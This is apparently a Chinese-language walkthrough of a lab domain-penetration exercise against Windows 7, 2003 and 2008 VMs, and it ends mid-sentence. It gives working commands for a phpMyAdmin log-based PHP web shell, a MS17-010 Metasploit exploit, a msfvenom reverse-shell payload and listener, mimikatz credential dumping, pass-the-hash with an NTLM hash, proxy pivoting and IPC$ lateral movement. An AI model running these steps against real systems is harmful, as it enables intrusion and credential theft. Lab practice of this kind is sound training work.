一、网络配置
win7
nat:192.168.111.140
VMnet 1(仅主机):192.168.52.129
注:
phphstudy需要win7重启才可以打开
win7的nat地址需要手工配置(至少我的要这样)
win2003
VMnet 1(仅主机):192.168.52.141
win2008
VMnet 1(仅主机):192.168.52.138
网络连接状态
win7可以ping通所有主机,但是他们ping不通win7的,所以猜测win7开启了防火墙并过滤了ICMP数据包,因此kali用nmap时要使用-sS
二、外网扫描
信息收集
看到win7只开启了80,135,3306
访问80端口
phpMyAdmin
看到phpMyAdmin,使用弱口令或者万能密码注入,或者爆破
使用弱口令(root,root),成功登录
看到mysql的版本是5.5.53
mysql写shell的条件
1、网站可访问路径的绝对路径
2、secure_file_priv 的值非NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
Mysql<5.5.53 默认为空,即默认无限制
3、mysql服务有对网站可访问路径的写权限
4、mysql连接用户有FILE权限/ROOT用户或ROOT权限
5、GPC关闭//未对闭合用的引号转义
outfile 和 dumpfile的路径不支持hex,必须有引号包裹
查看secure_file_priv 的值
为空,所以无法写shell
如果想通过into写入文件:
修改value的值,重启mysql服务后生效(显然这是目前不可以的):
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
然后写入
select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#
select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行
还有一种方法就是修改general_log_file日志文件的绝对路径以及文件名
然后看到日志的默认读写是关闭的
执行下面命令打开
写入php一句话木马
蚁剑连接
因为第一次没有连接成功,关闭防火墙还是不行,又重启,然后按照上面的步骤(日志写shell)重做
在蚁剑里发现yxcms和备份文件
YXcms
YXcms是一款基于PHP+MySql开发的网站管理系统
备份文件可以用来帮助我们分析文件路径
打开网站,发现公告栏里有后台的账号密码
在这里写入一句话
在刚才的备份文件里找到如下路径,上线蚁剑
关闭防火墙,再次nmap
再nmap一次,是在防火墙关闭之后,多了一个可以利用的445端口
ms17-010上线win7
启动msf
msfconsole
search ms17-010
use 3(使用第四个模块,查看有无漏洞)
set rhosts192.168.111.140
run
显示有漏洞
search ms17-010
use 0(使用第一个模块,利用漏洞)(第二个模块可能导致利用失败)
set rhosts192.168.111.140
run
成功上线192.168.111.140
查看角色
反弹shell上线win7
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4433 -f exe -o payload.exe
kali监听
use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.111.128
set lport 4433
run
失败了
内网信息收集
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
whoami
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
查看本主机的信息
sysinfo
ipconfig /all
查看本机用户列表
net user
查看域用户
net user /domain
查看域管理员
net group "domain admins" /domain
查看域控
net group "domain controllers" /domain
查看有几个域
net view /domain
查看本地管理员组(通常会有域用户)
net localgroup administrators
查看本机的应用和版本号
wmic product get name,version
查看域内主机
net view /domain:GOD
打印路由信息
该域名为god.org,域控为OWA$,域管理员为Administrator,内网网段为192.168.52.0/24,我们用Ping命令探测域控的ip
导出SAM数据库本地账户密码文件
如果run hashdump
失败了,使用run post/windows/gather/smart_hashdump
上传mimikatz到win7上
/Port-forwarding/Pentest-tools-master/mimikatz_trunk/x64/MIMIKATZ.EXE
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
查看lsass的进程号
迁移进程到512
migrate 512
load kiwi
执行mimikatz
privilege::debug
sekurlsa::logonpasswords
路由配置
查看win7上已有的网段,我已经添加上了内网的路由了
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由。
首先需要使用配置静态路由:
#加载MSF的autoroute模块,获取当前机器的所有网段信息,并且自动添加路由
run post/multi/manage/autoroute
#添加指定内网路由
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
查看路由
这里其实有一个大问题,通过这种方式做代理转发,只能是msf使用,其它应用无法使用,如果想使用其他应用探测内网如nmap等工具?当然也有办法,就是再加一个socks代理即可。
添加代理
这里其实就是在我们的vps开启了一个socks代理,监听vps本地的1080端口,然后再通过这个端口将流量转给msf,msf又添加了路由,所以能将流量直接带入到内网中。假设我们需要在vps中使用其他工具探测内网
use auxiliary/server/socks_proxy
修改代理文件
vim /etc/proxychains.conf
查看后台是否有代理
基于netbios协议发现内网存活主机
auxiliary/scanner/netbios/nbname
发现内网主机
root-tvi862ubeh(192.168.52.141)
OWA(192.168.52.138)
代理扫描域控的端口
proxychains4 nmap 192.168.52.138 -sT -Pn -p80,445,135
proxychains只对tcp流量有效,所以udp和icmp都是不能代理转发的。
-sT 全开扫描,完成三次握手
-Pn 不使用ping扫描
成功执行,但是shell反弹失败(使用proxychains4 msfconsole这个)
域hash传递攻击
sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:81be2f80d568100549beac645d6a7141
不知道为什么没有返回一个窗口
建立远程IPC$连接
前提:要建立远程IPC$连接必须具备以下条件:
1、有超管的密码;
2、远程机开启了Sever服务项,一般都开了,除非是高手知道多一点;
3、了解以下Net Use之类的命令。
net use \\ip或者主机名 \ipc$ "密码“ /user:"adminstrator"
net start 查看开启了哪些服务 net share 查看开启了哪些共享 net share ipc$
开启ipc共享 net share c$ 开启c盘共享 net use \192.168.xx.xx\ipc$ “”
/user:“” 与192.168.xx.xx建立空连接 net use \192.168.xx.xx\c$ “密码”
/user:“用户名” 建立c盘共享 dir \192.168.xx.xx\c$\user 查看192.168.xx.xx
c盘user目录下的文